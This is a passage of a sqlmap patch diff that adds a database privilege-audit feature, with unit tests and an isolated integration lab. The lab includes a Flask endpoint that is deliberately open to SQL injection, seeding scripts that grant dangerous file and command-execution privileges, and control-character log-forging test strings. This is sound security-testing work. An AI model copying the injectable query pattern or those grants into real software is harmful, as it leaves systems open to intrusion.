sql('postgres','postgres','ALTER ROLE audit_app BYPASSRLS')
|
||||
assert sql('postgres','audit_app','SELECT COUNT(*) FROM audit_rls')[0][0] == 2
|
||||
assert any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
sql('postgres','postgres','ALTER ROLE audit_app NOBYPASSRLS')
|
||||
sql('postgres','postgres','DROP TABLE audit_rls')
|
||||
|
||||
sql('postgres','postgres','GRANT pg_execute_server_program TO audit_app')
|
||||
no_route = native('postgres','audit_app')
|
||||
assert any('COPY FROM PROGRAM privilege granted; no statement execution route identified' in line for line in no_route)
|
||||
assert not any('--os-cmd' in line for line in no_route)
|
||||
with_route = native('postgres','audit_app', statement=True)
|
||||
assert any('COPY FROM PROGRAM privilege granted; use --os-cmd' in line for line in with_route)
|
||||
if not args.native_only:
|
||||
scan('postgres','app','U',no_route)
|
||||
scan('postgres','app','BS',with_route)
|
||||
sql('postgres','postgres','REVOKE pg_execute_server_program FROM audit_app')
|
||||
print('Independent RLS and execution-route scenarios PASS', flush=True)
|
||||
|
||||
# The fixture creates real metadata beyond the limit and verifies exact totals.
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'audit_bound_%02d',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'bound.invalid'" % index)
|
||||
hostile = "audit_control\n[*] forged\r\x1b[2J"
|
||||
sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'%s',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'control.invalid'" % hostile)
|
||||
bounded = native('mssql','sa')
|
||||
assert 'linked servers / visible linked servers: 27' in bounded
|
||||
assert sum(line.startswith('linked servers / link ') for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert 'Linked servers: showing 20 of 27; use --links for the full list' in bounded
|
||||
# The control-character name sorts outside the first details by server_id; test it separately below.
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'audit_bound_%02d',@droplogins='droplogins'" % index)
|
||||
hostile_result = native('mssql','sa')
|
||||
assert any('audit_control\\n[*] forged\\r\\x1b[2J' in line for line in hostile_result)
|
||||
assert not any('\n' in line or '\r' in line or '\x1b' in line for line in hostile_result)
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',hostile_result)
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'%s',@droplogins='droplogins'" % hostile)
|
||||
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
path = "/tmp/audit-bound-%02d" % index if index else "/tmp/audit\n[*] forged\x1b[2J"
|
||||
sql('oracle','sys', "CREATE DIRECTORY AUDIT_BOUND_%02d AS '%s'" % (index,path))
|
||||
sql('oracle','sys', 'GRANT READ ON DIRECTORY AUDIT_BOUND_%02d TO audit_owner' % index)
|
||||
bounded = native('oracle','audit_owner')
|
||||
assert sum(line.startswith('directory grants / ') and '/ visible directory grants:' not in line for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert any(line.startswith('Directory grants: showing 20 of ') for line in bounded)
|
||||
assert any('audit\\n[*] forged\\x1b[2J' in line for line in bounded)
|
||||
if not args.native_only:
|
||||
scan('oracle','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('oracle','sys','DROP DIRECTORY AUDIT_BOUND_%02d' % index)
|
||||
print('Bounded listings and control-character scenarios PASS', flush=True)
|
||||
|
||||
if not args.native_only:
|
||||
jobs = []
|
||||
for engine in ENGINES:
|
||||
for alias in ('admin','app','limited'):
|
||||
jobs.append((engine,alias,'U'))
|
||||
if engine not in ('mysql-open','mysql-disabled'):
|
||||
jobs.append((engine,'app','B'))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
|
||||
futures = [pool.submit(scan,engine,alias,technique,expected[engine,alias]) for engine,alias,technique in jobs]
|
||||
for future in futures:
|
||||
future.result()
|
||||
print('Audit matrix PASS; logs: %s' % logs, flush=True)
|
||||
finally:
|
||||
if not args.keep:
|
||||
command(compose + ['down','--volumes','--remove-orphans'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env python
|
||||
"""Create test accounts and known grants only in the disposable audit databases."""
|
||||
import time
|
||||
from db import connect, engine
|
||||
|
||||
admin = {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'sys'}[engine]
|
||||
for attempt in range(120):
|
||||
try:
|
||||
conn = connect(admin)
|
||||
break
|
||||
except Exception:
|
||||
if attempt == 119:
|
||||
raise
|
||||
time.sleep(1)
|
||||
cursor = conn.cursor()
|
||||
|
||||
|
||||
def execute(sql):
|
||||
cursor.execute(sql)
|
||||
|
||||
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER '%s'@'%%' IDENTIFIED BY 'AuditOnly!2026'" % user)
|
||||
execute("GRANT SELECT ON auditlab.* TO '%s'@'%%'" % user)
|
||||
execute("GRANT SELECT ON performance_schema.* TO 'audit_app'@'%'")
|
||||
execute("GRANT FILE ON *.* TO 'audit_app'@'%'")
|
||||
elif engine == 'postgres':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER %s WITH PASSWORD 'AuditOnly!2026'" % user)
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('GRANT pg_read_server_files TO audit_app')
|
||||
execute('GRANT pg_write_server_files TO audit_app')
|
||||
execute("ALTER ROLE audit_app SET row_security=off")
|
||||
elif engine == 'mssql':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE LOGIN %s WITH PASSWORD='AuditOnly!2026',CHECK_POLICY=OFF" % user)
|
||||
execute('CREATE USER %s FOR LOGIN %s' % (user,user))
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('DENY SELECT ON OBJECT::sys.configurations TO audit_limited')
|
||||
execute('DENY SELECT ON OBJECT::sys.servers TO audit_limited')
|
||||
execute("EXEC sp_configure 'show advanced options',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_configure 'clr enabled',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_addlinkedserver @server=N'audit_reporting',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'reporting.invalid'")
|
||||
execute("EXEC sp_serveroption @server=N'audit_reporting',@optname=N'rpc out',@optvalue=N'true'")
|
||||
else:
|
||||
execute('GRANT DBA TO audit_owner')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('CREATE USER %s IDENTIFIED BY "AuditOnly!2026"' % user)
|
||||
execute('GRANT CREATE SESSION TO %s' % user)
|
||||
execute('CREATE TABLE audit_owner.users (id NUMBER PRIMARY KEY,name VARCHAR2(100),surname VARCHAR2(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('GRANT SELECT ON audit_owner.users TO %s' % user)
|
||||
execute('CREATE SYNONYM %s.users FOR audit_owner.users' % user)
|
||||
execute('CREATE SYNONYM system.users FOR audit_owner.users')
|
||||
execute('GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
execute("CREATE DIRECTORY AUDIT_FILES AS '/tmp/audit-files'")
|
||||
execute('GRANT READ ON DIRECTORY AUDIT_FILES TO audit_app')
|
||||
execute('CREATE SYNONYM audit_owner.audit_fixture_users FOR audit_owner.users')
|
||||
# Insert into the application schema; the SYS/SYSTEM account is only the fixture provisioner.
|
||||
execute("INSERT INTO audit_owner.users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO audit_owner.users VALUES (2,'fluffy','bunny')")
|
||||
conn.commit()
|
||||
if engine != 'oracle':
|
||||
execute("INSERT INTO users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO users VALUES (2,'fluffy','bunny')")
|
||||
conn.close()
|
||||
print('%s fixture seeded' % engine)
|
||||
@@ -0,0 +1,35 @@
|
||||
#!/usr/bin/env python
|
||||
"""Deliberately injectable HTTP fixture. Run only on the isolated audit lab network."""
|
||||
import html
|
||||
from flask import Flask, request
|
||||
from db import connect, engine
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.get('/<account>/get_int')
|
||||
def query(account):
|
||||
accounts = {'admin': {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'audit_owner'},
|
||||
'app': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_app'),
|
||||
'limited': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_limited')}
|
||||
if account not in accounts:
|
||||
return 'unknown account', 404
|
||||
conn = None
|
||||
try:
|
||||
conn = connect(accounts[account][engine], pooled=True)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute('SELECT id,name,surname FROM users WHERE id=%s' % request.args.get('id', '1'))
|
||||
rows = cursor.fetchall()
|
||||
body = '<html><body><table>'
|
||||
for row in rows:
|
||||
body += '<tr>' + ''.join('<td>%s</td>' % html.escape('' if value is None else str(value)) for value in row) + '</tr>'
|
||||
return body + '</table></body></html>'
|
||||
except Exception as ex:
|
||||
# Render the driver's message, not Python's repr of its argument tuple.
|
||||
message = next((value for value in ex.args if isinstance(value, str)), str(ex))
|
||||
return '<html><body>%s</body></html>' % html.escape(message)
|
||||
finally:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
|
||||
|
||||
app.run(host='0.0.0.0', port=8080, threaded=True)
|
||||
@@ -186,6 +186,12 @@ class TestPrefixSuffix(unittest.TestCase):
|
||||
|
||||
|
||||
class TestGetFields(unittest.TestCase):
|
||||
def test_multiline_scalar_literal(self):
|
||||
field = "HEX('a;\n b')"
|
||||
result = agent.getFields("SELECT %s" % field)
|
||||
self.assertEqual(result[5], [field])
|
||||
self.assertEqual(result[6], field)
|
||||
|
||||
def test_extracts_select_list(self):
|
||||
# getFields(query) returns an 8-tuple; the fields-bearing slots are:
|
||||
# [0],[1] = regex match objects for the SELECT/expression (must be found, not None)
|
||||
@@ -556,6 +562,21 @@ class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase):
|
||||
out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw")
|
||||
self.assertEqual(out, "p=raw")
|
||||
|
||||
def test_origvalue_identifier_raw_for_group_order_by(self):
|
||||
self.assertEqual(agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[2, 3]), "p.name")
|
||||
self.assertIn("'p.name'", agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[1, 2, 3]))
|
||||
|
||||
def test_random_values_avoid_string_marker(self):
|
||||
# a reflected [RANDNUM] (e.g. quoted back in a DBMS error message) containing the --string
|
||||
# marker would fake a True response (e.g. --string=98 vs. 8988)
|
||||
saved = conf.string
|
||||
conf.string = "9"
|
||||
try:
|
||||
for _ in range(200):
|
||||
self.assertNotIn("9", agent.cleanupPayload("[RANDNUM] [RANDNUM1]"))
|
||||
finally:
|
||||
conf.string = saved
|
||||
|
||||
def test_space_replace_marker(self):
|
||||
out = agent.cleanupPayload("a[SPACE_REPLACE]b")
|
||||
self.assertEqual(out, "a%sb" % kb.chars.space)
|
||||
|
||||
@@ -30,6 +30,7 @@ bootstrap()
|
||||
|
||||
import lib.utils.api as api
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE
|
||||
from thirdparty.bottle.bottle import default_app
|
||||
@@ -308,6 +309,63 @@ class TestStdDbOutAndLogRecorder(unittest.TestCase):
|
||||
self.assertEqual(rows[0][2], "hello world")
|
||||
|
||||
|
||||
class TestStdDbOutMultiTarget(unittest.TestCase):
|
||||
"""
|
||||
Regression coverage for issue #2503: a multi-target scan (crawl or '-m' bulk
|
||||
file) inside a single REST API task runs every target through one StdDbOut
|
||||
instance. StdDbOut.write() keys each target's data rows by kb.reportTaskId
|
||||
('<taskid>-<n>'), so a later target's COMPLETE row cannot delete an earlier
|
||||
target's rows of the same content_type in _storeData() - mirroring the
|
||||
--report-json fix for #6123 (see test_report.py's TestMultiTargetTaskId).
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.db = api.Database(":memory:")
|
||||
self.db.connect("client")
|
||||
self.db.init()
|
||||
self._saved_stdout = sys.stdout
|
||||
self._saved_cursor = conf.get("databaseCursor")
|
||||
self._saved_partRun = kb.get("partRun")
|
||||
self._had_reportTaskId = "reportTaskId" in kb
|
||||
self._saved_reportTaskId = kb.get("reportTaskId")
|
||||
conf.databaseCursor = self.db
|
||||
kb.partRun = None
|
||||
|
||||
def tearDown(self):
|
||||
sys.stdout = self._saved_stdout
|
||||
conf.databaseCursor = self._saved_cursor
|
||||
kb.partRun = self._saved_partRun
|
||||
if self._had_reportTaskId:
|
||||
kb.reportTaskId = self._saved_reportTaskId
|
||||
elif "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
self.db.disconnect()
|
||||
|
||||
def test_second_target_does_not_overwrite_first(self):
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout # StdDbOut hijacked it; call write() directly
|
||||
|
||||
kb.reportTaskId = 1
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
kb.reportTaskId = 2
|
||||
std.write({"url": "http://host2/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data ORDER BY id")
|
||||
self.assertEqual([row[0] for row in rows], ["t1-1", "t1-2"]) # neither target's row was deleted
|
||||
|
||||
def test_without_report_task_id_keeps_plain_taskid(self):
|
||||
# e.g. output written before controller.start() reaches its target loop
|
||||
if "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout
|
||||
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data")
|
||||
self.assertEqual([row[0] for row in rows], ["t1"])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP routes (WSGI test client)
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -485,6 +543,26 @@ class TestScanQueryRoutes(_ApiServerCase):
|
||||
self.assertFalse(parsed["success"])
|
||||
|
||||
|
||||
class TestScanDataMultiTarget(_ApiServerCase):
|
||||
"""scan_data() folds the per-target '<taskid>-<n>' rows (see StdDbOut.write) back into the task's flat result, in target order."""
|
||||
|
||||
def test_data_merges_per_target_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "%s-2" % taskid, {"url": "http://host2/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
api._storeData(self.db, "%s-1" % taskid, {"url": "http://host1/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertEqual(code, 200)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual([d["value"]["url"] for d in parsed["data"]], ["http://host1/?id=1", "http://host2/?id=1"])
|
||||
|
||||
def test_data_ignores_other_tasks_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "othertask-1", {"url": "http://other/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual(parsed["data"], [])
|
||||
|
||||
|
||||
class TestScanStart(_ApiServerCase):
|
||||
"""scan_start, with the subprocess-spawning seam (engine_start) monkeypatched."""
|
||||
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Audit acquisition preserves NULL/empty/unknown states and interpretation boundaries.
|
||||
Real DBMS/SQLi coverage is opt-in under tests/integration/audit/.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.data import conf, kb, paths, queries
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED, PAYLOAD
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
from lib.request import inject
|
||||
from plugins.generic.audit import Audit
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
tearDownModule = reset_dbms
|
||||
|
||||
|
||||
class TestAudit(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._saved = dict(conf)
|
||||
self._cache = kb.data.get('cachedAudit')
|
||||
self._getValue = inject.getValue
|
||||
self._forced = kb.get('forcedDbms')
|
||||
self._injection = kb.injection.data
|
||||
self._gadget = kb.get("gadget")
|
||||
kb.injection.data = {}
|
||||
kb.gadget = None
|
||||
conf.direct = False
|
||||
kb.data.cachedAudit = []
|
||||
set_dbms(DBMS.MYSQL)
|
||||
|
||||
def tearDown(self):
|
||||
kb.injection.data = self._injection
|
||||
kb.gadget = self._gadget
|
||||
inject.getValue = self._getValue
|
||||
kb.data.cachedAudit = self._cache
|
||||
kb.forcedDbms = self._forced
|
||||
conf.clear()
|
||||
conf.update(self._saved)
|
||||
|
||||
def test_preserves_null_empty_and_marker_like_values(self):
|
||||
inject.getValue = lambda *a, **k: [['null', 'N'], ['empty', 'V'], ['text', 'VNULL'], ['prefix', 'VVvalue'], ['padded ', 'Vkeep '], ['trailing\n', 'Vvalue']]
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), {'null': None, 'empty': '', 'text': 'NULL', 'prefix': 'Vvalue', 'padded': 'keep ', 'trailing\n': 'value'})
|
||||
|
||||
def test_single_row_and_failed_results(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for value, expected in ((['name', 'Vvalue'], {'name': 'value'}), (None, None), ([], None), (['truncated'], None), ([['key', 'invalid']], None)):
|
||||
inject.getValue = lambda *a, **k: value
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
|
||||
def test_major_dbmses_dispatch_without_xml_audit_blocks(self):
|
||||
inject.getValue = lambda *a, **k: [['effective account', 'Vtest']]
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
d = Databases()
|
||||
self.assertNotIn('audit', queries[dbms])
|
||||
result = d.getAudit()
|
||||
self.assertTrue(any('test' in item for item in result))
|
||||
self.assertFalse(any('OS boundary:' in item for item in result))
|
||||
|
||||
def test_unsupported_dbmses_do_not_query(self):
|
||||
inject.getValue = lambda *a, **k: self.fail('unsupported DBMS must not query')
|
||||
for dbms in queries:
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(Databases().getAudit(), [])
|
||||
|
||||
def test_failures_are_not_reported_as_disabled(self):
|
||||
inject.getValue = lambda *a, **k: None
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
result = Databases().getAudit()
|
||||
self.assertTrue(any('retrieval failed' in item for item in result))
|
||||
self.assertFalse(any(item.endswith(': disabled') for item in result))
|
||||
|
||||
def test_cache_and_bulk_queries_use_existing_extraction(self):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
self.assertTrue(kwargs.get('fromUser'))
|
||||
self.assertTrue(kwargs.get('batch'))
|
||||
self.assertNotIn('\n', query)
|
||||
self.assertNotIn('\r', query)
|
||||
calls.append(query)
|
||||
return [['effective account', 'Vtest']]
|
||||
inject.getValue = getValue
|
||||
d = Databases()
|
||||
result = d.getAudit()
|
||||
count = len(calls)
|
||||
self.assertEqual(count, 4)
|
||||
self.assertEqual(d.getAudit(), result)
|
||||
self.assertEqual(len(calls), count)
|
||||
|
||||
def test_mysql_directory_null_and_empty_are_different(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
audit = MySQLAudit()
|
||||
cases = ((None, 'blocks'), ('NULL', 'blocks'), ('', 'no directory restriction'), ('/var/lib/mysql-files/', 'must be inside'))
|
||||
for value, expected in cases:
|
||||
result = audit.explain({'file access': {'secure_file_priv': value}})
|
||||
self.assertTrue(any(expected in item for item in result))
|
||||
self.assertFalse(any('must be inside' in item for item in audit.explain({})))
|
||||
|
||||
def test_mariadb_selects_fork_specific_configuration(self):
|
||||
from lib.core.common import Backend
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
original = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: fork == FORK.MARIADB)
|
||||
try:
|
||||
self.assertEqual(MySQLAudit().queries[1][1][0], 'audit_configuration_mariadb')
|
||||
self.assertFalse(any('blocks' in item for item in MySQLAudit().explain({'file access': {'secure_file_priv': None}})))
|
||||
finally:
|
||||
Backend.isFork = staticmethod(original)
|
||||
|
||||
def test_mssql_explicit_permission_denial(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
audit = MSSQLAudit()
|
||||
groups = {'permissions': {'read configuration metadata': '0'}}
|
||||
self.assertEqual(audit.failure('configuration', groups), 'configuration: SELECT permission missing on master.sys.configurations')
|
||||
self.assertEqual(audit.failure('linked servers', groups), 'linked servers: retrieval failed')
|
||||
|
||||
def test_guidance_requires_retrieved_capabilities(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
for audit in (MySQLAudit(), PostgreSQLAudit(), MSSQLAudit(), OracleAudit()):
|
||||
self.assertEqual(audit.explain({}), [])
|
||||
self.assertEqual(MySQLAudit().explain({'privileges': {'direct FILE grant': '0'}}), [])
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': '/allowed/', 'max_allowed_packet': '1024'}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertTrue(any('must be inside' in item for item in result))
|
||||
self.assertTrue(any('file size < 1024 bytes' in item for item in result))
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': None}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertFalse(any('FILE granted; use' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'superuser': '0', 'pg_read_server_files': '1', 'pg_execute_server_program': '0'}})
|
||||
self.assertTrue(any('--file-read' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '0'}})
|
||||
self.assertTrue(any('EXECUTE permission missing' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
conf.direct = True
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '0'}, 'identity': {'sysadmin': '1'}})
|
||||
self.assertTrue(any('can enable xp_cmdshell' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'pg_execute_server_program': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
|
||||
def test_execution_advice_uses_known_routes_without_probing(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
inject.getValue = lambda *a, **k: self.fail('guidance must not send probes')
|
||||
pg = {'privileges': {'pg_execute_server_program': '1'}}
|
||||
ms = {'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}}
|
||||
for audit, groups in ((PostgreSQLAudit(), pg), (MSSQLAudit(), ms)):
|
||||
for route in ('none', 'stacked', 'gadget', 'direct'):
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.STACKED: {'title': 'stacked queries'}} if route == 'stacked' else {}
|
||||
kb.gadget = {'command': 'known gadget'} if route == 'gadget' else None
|
||||
conf.direct = route == 'direct'
|
||||
result = audit.explain(groups)
|
||||
self.assertEqual(any('--os-cmd' in item for item in result), route != 'none')
|
||||
self.assertEqual(any('no statement execution route identified' in item for item in result), route == 'none')
|
||||
|
||||
def test_rls_setting_does_not_grant_bypass(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
result = PostgreSQLAudit().explain({'configuration': {'row_security': 'off'}, 'privileges': {'superuser': '0', 'bypass RLS': '0'}})
|
||||
self.assertFalse(any('bypasses' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'bypass RLS': '1'}})
|
||||
self.assertTrue(any('bypasses' in item for item in result))
|
||||
|
||||
def test_empty_result_requires_confirmed_zero_count(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for count, expected in ((0, {}), ('0', {}), ([[0]], {}), (None, None), ('1', None)):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
calls.append(query)
|
||||
return count if kwargs.get('expected') == EXPECTED.INT else None
|
||||
inject.getValue = getValue
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
self.assertEqual(len(calls), 2)
|
||||
audit.queries = (('empty scope', ('audit_identity',)),)
|
||||
inject.getValue = lambda query, **kwargs: 0 if kwargs.get('expected') == EXPECTED.INT else None
|
||||
self.assertEqual(audit.getAudit(), ['empty scope: no entries'])
|
||||
|
||||
def test_control_characters_are_escaped_in_facts_and_guidance(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
value = "/allowed/\n[*] forged\r\x1b[2J"
|
||||
inject.getValue = lambda query, **kwargs: [['secure_file_priv', 'V' + value]] if '@@GLOBAL.secure_file_priv' in query else [['name\nforged', 'Vsafe']]
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertTrue(any('\\n[*] forged' in item for item in result))
|
||||
self.assertFalse(any(any(char in item for char in ('\n', '\r', '\x1b')) for item in result))
|
||||
|
||||
def test_listing_summary_reports_displayed_and_total(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
links = {'visible linked servers': '200', 'link one': 'destination'}
|
||||
self.assertIn('Linked servers: showing 1 of 200; use --links for the full list', MSSQLAudit().explain({'linked servers': links}))
|
||||
grants = {'visible directory grants': '200', 'ONE [READ]': '/one'}
|
||||
self.assertEqual(OracleAudit().explain({'directory grants': grants}), ['Directory grants: showing 1 of 200'])
|
||||
|
||||
def test_only_observed_settings_are_listed_once(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
def getValue(query, **kwargs):
|
||||
if '@@GLOBAL.secure_file_priv' in query:
|
||||
return [['secure_file_priv', 'V/allowed/']]
|
||||
return [['local_infile', 'VOFF']]
|
||||
inject.getValue = getValue
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertFalse(any('super_read_only' in item for item in result))
|
||||
self.assertEqual(sum('/ secure_file_priv:' in item for item in result), 1)
|
||||
self.assertFalse(any('not established' in item or 'does not establish' in item for item in result))
|
||||
|
||||
def test_snippets_are_single_read_only_statements(self):
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
audit = importlib.import_module('plugins.dbms.%s.audit' % DBMS_DIRECTORY_DICT[dbms]).Audit()
|
||||
for scope, snippets in audit.queries:
|
||||
for snippet in snippets:
|
||||
sql = getSQLSnippet(dbms, snippet, LIMIT="20")
|
||||
self.assertTrue(sql.startswith('SELECT '))
|
||||
self.assertNotIn(';', sql.replace('; RPC out: ', ''))
|
||||
self.assertIn('audit_value', sql)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = [line for line in output.decode('utf-8').splitlines() if '--audit' in line]
|
||||
self.assertEqual(len(lines), 1)
|
||||
self.assertLessEqual(len(lines[0]), 78)
|
||||
@@ -0,0 +1,341 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
